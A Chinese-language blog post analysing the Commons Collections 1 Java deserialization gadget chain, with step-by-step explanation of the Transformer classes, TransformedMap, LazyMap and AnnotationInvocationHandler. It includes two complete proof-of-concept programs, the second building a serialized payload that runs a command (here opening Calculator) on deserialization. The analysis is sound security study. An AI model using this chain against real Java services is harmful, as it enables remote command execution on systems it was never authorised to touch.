CommonsCollections1链分析

前言

之前的urldns链是反序列化利用链中比较简单的,在实战中还是需要能直接执行命令的链,本篇主要分析CC1这个链。

0x01 POC1执行

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                //new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        outerMap.put("test","test");

        //触发漏洞
//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
//        onlyElement.setValue("foobar");
    }
}

image-20220303233410712

0x02 POC1分析

Transformer

在代码的最开始先是new了一个Transformer类型的数组,Transformer本身是一个接口,而new的这个数组是Transformer的实现类对对象:

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                //new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};

image-20220304143701557

再分别来看数组里面的值:

ConstantTransformer

第一个值:new ConstantTransformer(Runtime.class)

image-20220304144649353

这个方法跟进去之后,看到这个类是实现了Transformer, Serializable接口,里面的ConstantTransformer方法是重写了有参构造,传入的参数就是Runtime.class,然后赋值给属性Object的变量,最终返回回来生成的实例化对象。

下面是断点调试的返回,返回了runtime的类

image-20220304155118070

InvokerTransformer

第二个值:new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })

image-20220304150010358

image-20220304150020886

可以看到InvokerTransformer同样实现了Transformer, Serializable接口,并且重写的这个有参构造里面,有三个参数:

第一个是方法名,第二个是参数类型,第三个是参数的值。

  1. String iMethodName:要调用的方法名
  2. Class[] iParamTypes:传入方法的参数类型
  3. Object[] args:要传入的参数

后面一共初始化了三次,每次的参数值为:

第一次:

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })

getMethod,null,getRuntime

image-20220304175826736

第二次:

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })

invoke,null,null

image-20220304180130655

第三次:

new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})

exec,null,Calculator.app

image-20220304180206700

ChainedTransformer

Transformer transformerChain = new ChainedTransformer(transformers);

ChainedTransformer这个类将之前的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果再传入下一次的trandform方法中。

第一次执行,将runtime传入到了参数里面

image-20220307105539973

第二次传入Runtime.getRuntime()

image-20220307110759816

第三次将返回的实例化对象传入exec参数里面:

image-20220307111608784

这样通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

这样链子有了,怎么才能用呢?

TransformedMap

//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

查看源码:

image-20220307112400224

可以看到TransformwdMap的decorate方法根据传入的参数重新实例化一个TransformedMap对象,再看下面的put方法,不管是key还是value都会间接调用transform方法,而这里的this.valueTransformer也就是transformerChain,也就是说只要构造一个TransformedMap并且去修改value值,就能触发

image-20220307125621096

最终执行弹出计算器。

POC2分析

在上面是我们手动添加了put操作,但是在反序列化中我们需要找到一个类,直接或者间接的调用这种类似put的操作。

这个类就是AnnotationInvocationHandler,他重写了readObject方法:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        return;
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

}

然后在yso项目中,作者使用的不是TransformedMap而是LazyMap,LazyMap中可以通过get方法调用transform:

image-20220307141950055

然后AnnotationInvocationHandler中的invoke方法可以调用LazyMap#get:

image-20220307135721323

这里注意调试该链需要用jdk小于8u71的版本,因为之后的版本AnnotationInvocationHandler#readObject方法被官方修改了。

下面为完整POC:

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
        //构造runtime.exec("command")
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
        };
        //将数组作为参数生成ChainedTransformer对象
        Transformer transformerChain = new ChainedTransformer(transformers);

        //构造LazyMap对象,将其属性factory设置为transformerChain
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        //反射获取AnnotationInvocationHandler的有参构造方法和class对象
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        //暴力反射
        construct.setAccessible(true);

        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(handler);

    }

这里最后采用了java动态代理机制,创建了动态代理map对象proxymap

动态代理对象与真实对象会实现相同的接口,也就意味着会有相同的方法。

最后传入Map类的动态代理对象proxyMap作为参数重新赋值给handler对象,当调用到被代理对象的任何方法时,都会先调用InvocationHandler接口中的invoke方法,而AnnotationInvocationHandler正好实现了该接口,从而达到命令执行。

总结

最终利用链为:

Gadget chain:
   ObjectInputStream.readObject()
      AnnotationInvocationHandler.readObject()
         Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
               LazyMap.get()
                  ChainedTransformer.transform()
                     ConstantTransformer.transform()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Class.getMethod()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.getRuntime()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.exec()

参考

https://www.anquanke.com/post/id/248653

https://www.cnblogs.com/nice0e3/p/13779857.html

https://www.cnblogs.com/CoLo/p/15225390.html

posted @ 2022-03-07 14:30  N0r4h  阅读(110)  评论(0)    收藏  举报